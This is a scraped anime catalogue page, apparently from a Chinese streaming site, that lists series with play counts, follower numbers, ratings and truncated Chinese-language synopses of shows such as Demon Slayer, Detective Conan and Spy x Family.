+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 7.8 万 + + + 追番人数 7574 + + + 硬币数 265 + + + 弹幕总数 1754 + + + 评分 - + + +
+

简介:與魔王打成兩敗俱傷而徹底失去勇者之力的前勇者,少年佈雷德。照理來說,他應該如願以償地變成一名普通的學生了,可是他就讀的學校竟是培育勇者的精英學校!? +在那裡上學的學生們當然都很優秀。不過曾為『正宗』勇...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 2174.4 万 + + + 追番人数 59.0 万 + + + 硬币数 3.7 万 + + + 弹幕总数 2.9 万 + + + 评分 9.2 + + +
+

简介:年代久远的器物萌生“心灵”,便会成为付丧神。 +借助塞神之力与付丧神对话,将其送回常世的职业——“塞眼”。 +岐兵马是塞眼三大家族之一·岐家的下任当家,他对夺走了他亲人的付丧神恨之入骨。 +长月牡丹是生活在...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 57.1 万 + + + 追番人数 7.3 万 + + + 硬币数 6852 + + + 弹幕总数 8062 + + + 评分 - + + +
+

简介:西曆5012年。 +突然入侵地球的<外星人>與其製造的<機械生物>導致人類面臨滅亡危機。 +僅存的人類逃至月球,為了奪回地球,利用<人造人>士兵展開反攻作戰。 +然而無限增加的<機械生物>阻擋在前,戰爭陷入...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 5.6 万 + + + 追番人数 8452 + + + 硬币数 484 + + + 弹幕总数 831 + + + 评分 - + + +
+

简介: 《死神少爺與黑女僕》的故事敘述,一名少爺在五歲時被魔女施了死亡的詛咒,一旦碰觸到生物就會直接奪去性命。這使得他被眾人畏懼,而被扔到了森林中的別墅中獨居。但就在他自暴自棄的同時,只有一名身穿黑色喪服的...

+
+
+ + +
+
+
+
+ +
+ + + + 全15话0 + + + + + 番剧 日本 + + + + 总播放 10.1 万 + + + 追番人数 1.1 万 + + + 硬币数 412 + + + 弹幕总数 1824 + + + 评分 - + + +
+

简介:故事描述著金伯利魔法學校是一所名校,每年都吸引了不少新手魔法師入學。這些新生內心懷抱著驕傲與使命,但迎接他們的卻是各種威脅,例如是地下迷宮、強悍的高年級生、以及派系鬥爭等。主角奧利佛努力地與同伴一起在...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 17.1 万 + + + 追番人数 1.4 万 + + + 硬币数 560 + + + 弹幕总数 2690 + + + 评分 - + + +
+

简介:在陰錯陽差下轉生成為一國王子的家裡蹲少年悠人,卻因為魔力鑑定的關係讓他甫轉生就陷入了危機?!轉生後擁有作弊般能力的他,在異世界的奇幻冒險故事就此展開。...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 国创 中国大陆 + + + + 总播放 9207.5 万 + + + 追番人数 298.2 万 + + + 硬币数 174.9 万 + + + 弹幕总数 90.8 万 + + + 评分 9.8 + + +
+

简介:【第二季 第2-4集大会员抢先1集,第5集起大会员专享】 +随着白发少女白钰袖身世的逐渐展开,越来越多的江湖异事向她而来。事件的指向总是绕不开那个叫做红阳血精的武林禁物,不单单是白钰袖,就连风铃儿、南...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 1.2 亿 + + + 追番人数 1560.8 万 + + + 硬币数 27.4 万 + + + 弹幕总数 30.1 万 + + + 评分 9.2 + + +
+

简介:故事来到了新的地方—— +炭治郎的目的地是「刀匠村」。 +与鬼杀队的最强剑士,霞柱·时透无一郎与恋柱·甘露寺蜜璃再会,而鬼也悄然逼近。 +炭治郎一行人新的战斗即将开始。...

+
+
+ + +
+
+
+
+ +
+ + + + 未完结0 + + + + + 番剧 日本 + + + + 总播放 9.3 亿 + + + 追番人数 465.8 万 + + + 硬币数 152.8 万 + + + 弹幕总数 3.1 亿 + + + 评分 9.8 + + +
+

简介:主角工藤新一原本是一位颇具名声的高中生侦探,在目击黑暗组织的地下交易后,正准备追踪时却被突袭击昏,并被灌下代号为“APTX4869”的不明药物。后来虽然幸免于死,但身体就此缩小为小学时期的模样。之后他...

+
+
+ + +
+
+
+
+ +
+ + + + 全15话0 + + + + + 番剧 日本 + + + + 总播放 341.4 万 + + + 追番人数 24.2 万 + + + 硬币数 5980 + + + 弹幕总数 1.2 万 + + + 评分 7.6 + + +
+

简介:舞台是名门金伯利魔法学校。 +在这所学校,毕业前有两成学生或残废或失踪,还有人发狂并最终死去。 +这就是所谓的“为魔所噬”—— + +春天,奥利佛·霍恩来到了金伯利。他温和而理性,背后却有着若隐若现的阴影。他...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 177.6 万 + + + 追番人数 24.3 万 + + + 硬币数 2569 + + + 弹幕总数 2718 + + + 评分 - + + +
+

简介:这是在砂糖苹果指引下相遇的少女与妖精,用他们的梦想和爱情谱写的美好童话故事。 +在这个人类奴役妖精的世界里,人们相信砂糖点心会带来好运。 +因此在这里,制作神圣砂糖点心的特殊手艺人被称为“银砂糖师”。 +在...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 10.2 万 + + + 追番人数 9.9 万 + + + 硬币数 127 + + + 弹幕总数 46 + + + 评分 - + + +
+

简介:四面环湖的库肯岛上,有一座拉森博登村。 +这座位于洛提斯瓦萨王国边境的村庄,时光流淌得十分平静。 +在这座缺乏刺激的村庄里,生活着一个精力旺盛、平平无奇的少女——莱莎。 +“啊,有没有什么有趣的事啊。” +在...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 431.1 万 + + + 追番人数 45.4 万 + + + 硬币数 3.2 万 + + + 弹幕总数 5992 + + + 评分 - + + +
+

简介:“圣杯战争”是由魔术师(御主)和英灵(从者),围绕着能够实现一切愿望的许愿机“圣杯”进行的战斗。 +日本的第五次圣杯战争结束之后,又过去了数年。 +在美国西部的城市“雪原市”,观测到了新圣杯的征兆。 +于是...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 196.4 万 + + + 追番人数 1214.1 万 + + + 硬币数 4813 + + + 弹幕总数 2026 + + + 评分 - + + +
+

简介:这是无敌的两人再也回不去的青春。 +2018年6月,虎杖悠仁被两面宿傩附身。 +2017年12月,乙骨忧太解除祈本里香的诅咒。 +再往前追溯到2006年春——五条悟和夏油杰还在高专时期。 + +成为咒术师大显身...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 93.9 万 + + + 追番人数 3.7 万 + + + 硬币数 2934 + + + 弹幕总数 2.1 万 + + + 评分 - + + +
+

简介:  天上優夜是個從小便飽受殘忍對待的少年,在他對人生絕望時,通往異世界的大門竟為他打開了。大門的另一頭,是凶惡魔物橫行的大魔境。第一次進入異世界的優夜,獲得強到犯規的能力,他接連討伐魔物,等級一再上升...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 41.0 万 + + + 追番人数 1.9 万 + + + 硬币数 973 + + + 弹幕总数 5611 + + + 评分 - + + +
+

简介: 《第二次被異世界招喚》是由岸本和葉撰寫的輕小說作品,並且交由嵐山繪製改編同名漫畫。原作故事描述,過去曾經被招喚到異世界艾克萊爾的主角「節(せつ)」,將異世界的戰亂平定之後回到了他原本的世界繼續渡過原...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 550.7 万 + + + 追番人数 454.8 万 + + + 硬币数 6.7 万 + + + 弹幕总数 3.8 万 + + + 评分 9.8 + + +
+

简介: “我啊。已经决定成为樱正义的伙伴了” +少年,不再对真相视而不见。 +为了拯救少女,为了贯彻自己选定的正义。 +魔术师与英灵争夺万能许愿机“圣杯”的战斗——圣杯战争,已经扭曲不堪。 +一个少女——间桐樱随着...

+
+
+ + +
+
+
+
+ +
+ + + + 全11话0 + + + + + 番剧 日本 + + + + 总播放 133.1 万 + + + 追番人数 5.6 万 + + + 硬币数 9286 + + + 弹幕总数 1.6 万 + + + 评分 - + + +
+

简介:故事來到了新的地方—— 炭治郎的目的地是「刀匠村」。 與鬼殺隊的最強劍士,霞柱·時透無一郎與戀柱·甘露寺蜜璃再會,而鬼也悄然逼近。 炭治郎一行人新的戰鬥即將開始。...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1243.0 万 + + + 追番人数 451.5 万 + + + 硬币数 2.0 万 + + + 弹幕总数 1.5 万 + + + 评分 9.7 + + +
+

简介:《名侦探柯南:犯人犯泽先生》改编自同名漫画。该动画的主人公犯人犯泽先生身穿紧身服、全身漆黑。为了收拾某个人,他拼命打工赚钱,攒够钱后,他告别母亲,独自离开老家岛根县的出云,来到犯罪率极高的米花町准备复...

+
+
+ + +
+
+
+
+
+ 猫之茗 +
+
+ + + + 全40话0 + + + + + 国创 中国大陆 + + + + 总播放 1.5 亿 + + + 追番人数 242.1 万 + + + 硬币数 42.9 万 + + + 弹幕总数 47.8 万 + + + 评分 9.7 + + +
+

简介:夏至城主一心为城为民,人民安居乐业,GDP蒸蒸日上,家庭幸福美满。然而一场大雨却成为了灾难的开始,人祸接连不断、反派(普洱)强盗(祁红)唯恐天下不乱。城主牺牲自我却只换来流言蜚语,连情比金坚的妻子也心...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 6407.8 万 + + + 追番人数 197.1 万 + + + 硬币数 29.6 万 + + + 弹幕总数 37.0 万 + + + 评分 9.7 + + +
+

简介:因自己不受欢迎找不到女朋友,而郁郁寡欢的32岁职场白领橘日向,借由异世界女神之力,和自幼玩伴&现完美精英的同事一起转移到了异世界!竟因女神的粗心,变为了超绝可爱金发美少女――!? +为寻回自己原本的性...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1.1 亿 + + + 追番人数 700.6 万 + + + 硬币数 25.4 万 + + + 弹幕总数 30.7 万 + + + 评分 9.3 + + +
+

简介:大受欢迎的虚拟现实大型多人在线角色扮演游戏「新世界」中出现了超强新人?! + +让任何攻击都失去效果,并用致死毒技能彻底蹂躏怪物和玩家! +因其不寻常的战斗方式,这名新人被称作「移动要塞」或「最终头目」。 +...

+
+
+ + +
+
+
+
+ +
+ + + + 全95话0 + + + + + 番剧 美国 + + + + 总播放 4422.8 万 + + + 追番人数 42.7 万 + + + 硬币数 6.3 万 + + + 弹幕总数 11.4 万 + + + 评分 8.8 + + +
+

简介:剧情讲述了成龙一家有趣的历险故事,成龙和小玉在世界各地探索各种神秘悬疑的谜团,生活和经历中充满着许多奇幻色彩,其中有关武功和魔法,包含了亲情和友情,以及中国文化的元素。成龙的职业是一位考古专家,但事实...

+
+
+ + +
+
+
+
+ +
+ + + + 全4话0 + + + + + 番剧 日本 + + + + 总播放 50.8 万 + + + 追番人数 4.4 万 + + + 硬币数 1.2 万 + + + 弹幕总数 8314 + + + 评分 - + + +
+

简介:家庭背景與人品都很棒,一大群有前途的秀才所聚集的秀知院學園。在那裡的學生會相遇的副會長四宮輝夜與會長白銀御行原本應該是彼此受到了對方吸引…但想不到都過半年了卻仍然什麼事情也沒發生。最麻煩的是這兩個自尊...

+
+
+ + +
+
+
+
+ +
+ + + + 全25话0 + + + + + 番剧 日本 + + + + 总播放 3325.8 万 + + + 追番人数 975.6 万 + + + 硬币数 3.7 万 + + + 弹幕总数 7.2 万 + + + 评分 8.8 + + +
+

简介:每个人都有不可告人的一面。 + +这是一个世界各国均暗地里进行激烈情报战的时代。奥斯塔尼亚(Ostania)与维斯达利斯(Westalis)的冷战状态已经持续数十年。 + +<黄昏>是维斯达利斯情报局奥斯塔尼...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 国创 中国大陆 + + + + 总播放 50.4 万 + + + 追番人数 320.4 万 + + + 硬币数 1712 + + + 弹幕总数 1082 + + + 评分 - + + +
+

简介:《如果历史是一群喵》是一部以华夏历史为主线的非严谨萌系动画,作品以风趣幽默的语言对历史事件进行了重新解读,更容易为年轻人记忆和接受。在表达上,作品用现代动画的手法塑造了12只体态丰盈、造型可爱的猫咪,...

+
+
+ + +
+
+
+
+ +
+ + + + 全14话0 + + + + + 番剧 日本 + + + + 总播放 71.1 万 + + + 追番人数 5.2 万 + + + 硬币数 3065 + + + 弹幕总数 9502 + + + 评分 - + + +
+

简介:某一天,男主角醒來之後,突然發現自己變成了一條狗,而自己所暗戀的同學「犬飼加戀」就在自己的眼前,還說要把自己帶回家當寵物!?正當男主角還在思考自己為什麼變成狗的原因時,發現這位在學校裡對大家都很冷淡的...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 4083.4 万 + + + 追番人数 544.5 万 + + + 硬币数 13.2 万 + + + 弹幕总数 12.2 万 + + + 评分 9.7 + + +
+

简介:被称为“鬼怪”的生物,如理所当然般真实存在于世。 +少女岩永琴子作为鬼怪们的“智慧之神”,今天也有鬼怪找她排忧解难。琴子身边有一名连鬼怪都畏惧不已的男子,那就是她一见钟情的恋人,名叫樱川九郎。 +本片讲述...

+
+
+ + +
+
+
+
+ +
+ + + + 全8话0 + + + + + 国创 中国大陆 + + + + 总播放 709.1 万 + + + 追番人数 155.3 万 + + + 硬币数 6.1 万 + + + 弹幕总数 4.3 万 + + + 评分 9.8 + + +
+

简介:龙门城中有奇人曰老鲤,自题为“鲤氏侦探”,携阿、吽和槐琥三人居于幽巷,终日毕力排解四邻之难,或跑腿探事,或斡旋左右,所遇奇异之事繁多,此处取几件书以原委,以兹佐酒下饭。...

+
+
+ + +
+
+
+
+ +
+ + + + 全8话0 + + + + + 国创 中国大陆 + + + + 总播放 540.1 万 + + + 追番人数 154.8 万 + + + 硬币数 3.9 万 + + + 弹幕总数 2.5 万 + + + 评分 9.8 + + +
+

简介:龙门城中有奇人曰老鲤,自题为“鲤氏侦探”,携阿、吽和槐琥三人居于幽巷,终日毕力排解四邻之难,或跑腿探事,或斡旋左右,所遇奇异之事繁多,此处取几件书以原委,以兹佐酒下饭。...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 179.3 万 + + + 追番人数 552.9 万 + + + 硬币数 1.8 万 + + + 弹幕总数 7403 + + + 评分 9.8 + + +
+

简介:“我这次一定要……用这手,杀死吾王。” +游历骑士贝德维尔和迦勒底一行人所进入的特异点,是公元1273年的耶路撒冷。 +那里已经成为了三个势力相持不下的不毛之地,民众都被赶出了家园。 +为了讨伐建起纯白之城...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 243.2 万 + + + 追番人数 558.4 万 + + + 硬币数 1.3 万 + + + 弹幕总数 8086 + + + 评分 4.6 + + +
+

简介:时值公元1273年的耶路撒冷。 +当初的朝圣之地已经化为遍地黄沙的不毛之地,民众被赶出家园,三大势力相持不下。 +一个是在圣城,遵从狮子王的命令而集结的“圆桌骑士”。 +一个是被连同整片领地召唤而来,养精蓄...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 42.1 万 + + + 追番人数 3.5 万 + + + 硬币数 2460 + + + 弹幕总数 6989 + + + 评分 - + + +
+

简介:大受歡迎的虛擬實境大型多人線上角色扮演遊戲「新世界」中出現了超強新人?! 讓任何攻擊都失去效果,並用致死毒技能徹底蹂躪怪物和玩家! 因其不尋常的戰鬥方式,這名新人被稱作「移動要塞」或「最終頭目」。 而...

+
+
+ + +
+
+
+
+ +
+ + + + 全40话0 + + + + + 国创 中国大陆 + + + + 总播放 4.2 亿 + + + 追番人数 252.3 万 + + + 硬币数 111.9 万 + + + 弹幕总数 618.6 万 + + + 评分 9.4 + + +
+

简介:凹凸世界的创世神是一位很肆意随性的神明,他创造了凹凸世界的无数星球和人民,又随心所欲地统治着他们。同时他还设立了七神使,让他们代行神旨。 +但是,创世神也不是完全不给他的子民机会——只要在“凹凸大赛”中...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 813.0 万 + + + 追番人数 170.8 万 + + + 硬币数 1.1 万 + + + 弹幕总数 1.9 万 + + + 评分 6.1 + + +
+

简介:主人公柊诚一在某一天突然被传送到了一个奇幻世界。 +偶然吃下了谜之果实“进化之实”,获得了作弊体质!在异世界向着人生赢家突进的诚一将迎来新的转机! +诚一被邀请成为巴巴多尔魔法学园的教师,他的使命是成为学...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 58.5 万 + + + 追番人数 3.2 万 + + + 硬币数 2298 + + + 弹幕总数 1.0 万 + + + 评分 - + + +
+

简介:  建國的英雄王(♂)→轉生→最強見習騎士(♀)!?受到女神加護成為「神騎士」,建立巨大王國的偉大英雄王:英格利斯,一直為國為民而活。這樣的他在死亡的前一刻,強烈渴望能在來生「自由自在地活著,並窮盡武...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 55.1 万 + + + 追番人数 4.0 万 + + + 硬币数 3560 + + + 弹幕总数 7017 + + + 评分 - + + +
+

简介:被稱為「怪異」的魑魅魍魎其實理所當然地存在在這個人世間。擔當「怪異」們的【智慧之神】的人類少女「岩永琴子」,日復一日為了與「怪異」們有關的奇妙事件奔走。而總是伴隨在琴子身邊的,是琴子一見鍾情的對象、亦...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 16.8 万 + + + 追番人数 1.2 万 + + + 硬币数 527 + + + 弹幕总数 1633 + + + 评分 - + + +
+

简介: 《眾神眷顧的男人》描述日本上班族竹林龍馬在睡夢中死亡,三位神明召見他的靈魂,請他以小孩的姿態轉生到有魔法的異世界!成功轉生後,前世過著辛苦人生的龍馬決定在森林中隱居,三年來埋頭於史萊姆的研究。這天,...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 39.1 万 + + + 追番人数 2.4 万 + + + 硬币数 1756 + + + 弹幕总数 9138 + + + 评分 - + + +
+

简介:描述失去家人的 18 歲的少女,某天忽然擁有了可以穿梭於現在這個世界與異世界的能力,為了賺取足夠的養老資金,於是決定展開存夠 8 萬枚金幣(相當於 20 億日圓)的計畫...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 86.6 万 + + + 追番人数 5.4 万 + + + 硬币数 6677 + + + 弹幕总数 1.7 万 + + + 评分 - + + +
+

简介:角.藤宮周所住公寓的隔壁,住著學校第一的美少女椎名真晝。自從周看到真晝在雨中淋得全身濕透而把傘借給她以後,原本並無交集的兩人便開始了奇妙的交流...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 44.4 万 + + + 追番人数 2.1 万 + + + 硬币数 1469 + + + 弹幕总数 8406 + + + 评分 - + + +
+

简介:身在魔王軍卻不會使用魔法的暗黑士兵達利艾爾,以自己的才智和行動力爬上了四天王輔佐之位大顯身手。然而在四天王剛一換代,達利艾爾就被解僱了。大失所望的達利艾爾徬徨在森林中,無意間遇到了一名被怪物襲擊的少女...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 35.4 万 + + + 追番人数 2.9 万 + + + 硬币数 2341 + + + 弹幕总数 7413 + + + 评分 - + + +
+

简介:描述身為王太子的齊格突然聽見了兩位神的聲音……神諭所說的竟是齊格的未婚妻,侯爵千金莉潔洛特是個「傲嬌」,而且還會就此迎來「毀滅」這般令人衝擊的內容。原來她平常那些舉止都是在掩飾害羞?在神的解說下發現她...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 国创 中国大陆 + + + + 总播放 4766.9 万 + + + 追番人数 375.8 万 + + + 硬币数 12.5 万 + + + 弹幕总数 10.9 万 + + + 评分 8.1 + + +
+

简介:终于意识到自己是“大主角”的大师兄东方纤云,由于东方芜穹的误会,导致流落到了虚无之中。在同为穿越者的天道使者卜算天帮助下,东方纤云强制重生,再次被卷入正魔大战之中。大战愈演愈烈,看东方纤云如何力挽狂澜...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 51.1 万 + + + 追番人数 2.4 万 + + + 硬币数 1361 + + + 弹幕总数 9547 + + + 评分 - + + +
+

简介:魔術師「雷.懷特」,被譽為世界最強的「冰劍魔法師」,他因懼怕自己過於強大的力量,所以從戰場上消失。從此隱藏自己的身分進入魔術世界中的菁英至上學校——「亞諾爾德魔術學院」。他是學院有史以來唯一一個從普通...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 209.6 万 + + + 追番人数 13.4 万 + + + 硬币数 4.1 万 + + + 弹幕总数 5.5 万 + + + 评分 - + + +
+

简介:某天,家裡蹲的啃老族緒山真尋一覺醒來發現自己變成了“女孩子”!?正當真尋不知道鏡子裡的美少女是自己而陷入混亂的時候,跳級進入大學的科學家妹妹緒山美波里出現了。她透露在飲料里加了一種奇怪的藥物! +真尋最...

+
+
+ + +
+
+
+
+ +
+ + + + 全4话0 + + + + + 番剧 日本 + + + + 总播放 283.7 万 + + + 追番人数 986.4 万 + + + 硬币数 1.0 万 + + + 弹幕总数 1272 + + + 评分 - + + +
+

简介:在秀知院学园的学生会里,副会长四宫辉夜和会长白银御行相识了。两位天才在经历了漫长的恋爱头脑战之后,终于都明白了对方的心意,并在“奉心祭”上第一次接吻。 +但是,两人都没有做出明确的表白,本以为会成为一对...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 127.3 万 + + + 追番人数 7.6 万 + + + 硬币数 2.2 万 + + + 弹幕总数 3.3 万 + + + 评分 - + + +
+

简介:轉生至魔法理所當然存在的世界,並在童年時重拾前世記憶的公主「艾妮絲菲亞」,夢想是用魔法翱翔於天際這件史無前例又缺乏常識的事。然而,卻不知道為何無法使用魔法而遭貴族鄙視,但卻建立了獨特的魔法理論並一直獨...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 41.2 万 + + + 追番人数 2.9 万 + + + 硬币数 1517 + + + 弹幕总数 6205 + + + 评分 - + + +
+

简介:隸屬於帝涅茲聖王國的都市,特拉涅。妄想一夕致富的冒險者們、機靈的商人、能歌善舞的吟遊詩人、貴族、神官以及獸人族……。人們把這個職業和人種的大熔爐,本身就像個迷宮一樣的城市稱為「迷宮都市」。而被趕出冒險...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 31.7 万 + + + 追番人数 2.6 万 + + + 硬币数 2197 + + + 弹幕总数 5326 + + + 评分 - + + +
+

简介:在這個職場裡,純白色的愛戀如雪般飛舞——。 生活在現代的雪女後裔冰室是個一旦情緒高漲就會引發暴風雪、造出雪人或者雪洞的新上班族。 他偷偷喜歡著略顯獨特而又溫柔體貼的同事冬月。這份愛慕之情偶爾也會失控,...

+
+
+ + +
+
+
+
+ +
+ + + + 全22话0 + + + + + 番剧 日本 + + + + 总播放 77.7 万 + + + 追番人数 4.2 万 + + + 硬币数 7709 + + + 弹幕总数 1.3 万 + + + 评分 - + + +
+

简介:夢想要透過地下城賺大錢、邂逅美女,到處都看得見的初出茅廬冒險者,貝爾。他跟小小女神‧赫斯緹雅一起創建了「眷族」,並展開了想要賺大錢的探索生活。就在跟平時一樣前往地下城探索時,他碰見了彌諾陶洛斯。並因為...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 1.0 亿 + + + 追番人数 200.5 万 + + + 硬币数 34.1 万 + + + 弹幕总数 25.8 万 + + + 评分 9.8 + + +
+

简介:2017年秋天―― + +17岁时被卡车撞到, +并在此后17年间昏睡不醒的舅舅醒了。 +前往病房探望的外甥敬文看到的是,口中嘟囔着莫名其妙的话语, +从奇幻世界「格兰巴哈马尔」回到现实世界的舅舅。 + +……舅舅...

+
+
+ + +
+
+
+
+ +
+ + + + 全10话0 + + + + + 国创 中国大陆 + + + + 总播放 4.7 亿 + + + 追番人数 1250.6 万 + + + 硬币数 402.1 万 + + + 弹幕总数 108.0 万 + + + 评分 9.2 + + +
+

简介:随着伍六七回到玄武国寻找他的身世,亦引起了七大暗影刺客的追捕。然而每一位暗影刺客都带着不同的目的和不同的过去,青凤的阴谋也在此浮出了水面。而此时等待着小鸡岛上的人民,又将是另一个危机,伍六七将如何面对...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 24.7 万 + + + 追番人数 2.5 万 + + + 硬币数 1658 + + + 弹幕总数 4210 + + + 评分 - + + +
+

简介:風卷祭里,是以驅除危害世人的妖怪為生的祓忍。他的青梅竹馬花奏鈴,很容易受到妖怪的吸引,因此都總是在暗處默默守護她。 +而看是鈴的,外表是隻貓,但其實是眾妖之首的妖怪白金! + +「To Love-意外-」的...

+
+
+ + +
+
+
+
+ +
+ + + + 全25话0 + + + + + 番剧 日本 + + + + 总播放 1905.3 万 + + + 追番人数 933.6 万 + + + 硬币数 3.5 万 + + + 弹幕总数 4.2 万 + + + 评分 9.6 + + +
+

简介:每个人都有不可告人的一面。 + +这是一个世界各国均暗地里进行激烈情报战的时代。奥斯塔尼亚(Ostania)与维斯达利斯(Westalis)的冷战状态已经持续数十年。 + +<黄昏>是维斯达利斯情报局奥斯塔尼...

+
+
+ + +
+
+
+
+ +
+ + + + 全20话0 + + + + + 番剧 日本 + + + + 总播放 463.0 万 + + + 追番人数 11.1 万 + + + 硬币数 3.5 万 + + + 弹幕总数 5.2 万 + + + 评分 - + + +
+

简介:少年席德憧憬著以路人身分隱藏自身力量,不為人知地介入故事,展現實力的「影之強者」。轉生到異世界後,企圖充分享受這種設定的席德,為了擊潰妄想中的敵人「黑暗教團」而暗中大顯身手。然而,這個教團似乎真的存在...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 27.2 万 + + + 追番人数 3.5 万 + + + 硬币数 1280 + + + 弹幕总数 3248 + + + 评分 - + + +
+

简介:儘管具備能毀滅人類、精靈,甚至是眾神的力量,暴虐魔王阿諾斯卻厭倦了永無止盡的鬥爭,夢想著和平的世界進行轉生。然而在兩千年後,轉生後的他所迎來的,卻是適應和平生活而變得過於弱小的子孫們,以及各種衰退至極...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 1319.2 万 + + + 追番人数 86.7 万 + + + 硬币数 2.7 万 + + + 弹幕总数 3.9 万 + + + 评分 8.2 + + +
+

简介:『我可以看到,我胜利的道路……』 +『这次一定可以打败那个家伙。所以,再一次……接收!灵魂赌徒 布鲁姆!』 +在王的统治之下,一切的优劣都有TCG「创之界限」的力量来决定的都市, +「新京都」。...

+
+
+ + +
+
+
+
+ +
+ + + + 全25话0 + + + + + 番剧 日本 + + + + 总播放 7.2 亿 + + + 追番人数 1206.1 万 + + + 硬币数 301.7 万 + + + 弹幕总数 304.4 万 + + + 评分 9.7 + + +
+

简介:每个人都有不可告人的一面。 + +这是一个世界各国均暗地里进行激烈情报战的时代。奥斯塔尼亚(Ostania)与维斯达利斯(Westalis)的冷战状态已经持续数十年。 + +<黄昏>是维斯达利斯情报局奥斯塔尼...

+
+
+ + +
+
+
+
+ +
+ + + + 全2话0 + + + + + 国创 中国大陆 + + + + 总播放 1553.8 万 + + + 追番人数 65.1 万 + + + 硬币数 49.4 万 + + + 弹幕总数 14.3 万 + + + 评分 9.9 + + +
+

简介:“在寒冷的冬日,与「黄金庭院」的大家一起做些可爱的事情,尽情留下特别的纪念,迎接属于我们的、独一无二的新年——嘿嘿,是不是很有仪式感呀?我想和大家一起创造更多这样美好的回忆,因为……我最喜欢大家了嘛♪...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1.1 亿 + + + 追番人数 296.7 万 + + + 硬币数 113.4 万 + + + 弹幕总数 61.5 万 + + + 评分 9.9 + + +
+

简介:绰号“小孤独”的后藤独,是一个喜爱吉他的孤独少女。经常在家里独自弹奏吉他,但因为一些事情,加入了伊地知虹夏领衔的“纽带乐队”。不敢在他人面前演奏的后藤,能否成为一个出色的乐队成员呢……...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 384.2 万 + + + 追番人数 357.7 万 + + + 硬币数 15.2 万 + + + 弹幕总数 5.1 万 + + + 评分 9.9 + + +
+

简介:在一所初中里,有一个叫做西片的男生,时常遭到同桌女生高木同学的捉弄。 +每次他设法捉弄回去,都会被高木同学看透。 +季节变换,两个人都升上了三年级。周围的同学们开始思考将来,掺杂着不安与期待的同时,高木同...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 10.1 万 + + + 追番人数 1.8 万 + + + 硬币数 1983 + + + 弹幕总数 1189 + + + 评分 - + + +
+

简介:只會讀書的殘念系男主角由崎 NASA(漢字寫作星空)對謎樣美少女「月讀司」一見鍾情,不幸遭遇車禍,好險司及時搭救,星空忍著重傷向司告白,對方回答:「你願意跟我結婚的話,我就跟你交往。」 + + + +星空雖...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 418.2 万 + + + 追番人数 25.6 万 + + + 硬币数 5.3 万 + + + 弹幕总数 5.8 万 + + + 评分 - + + +
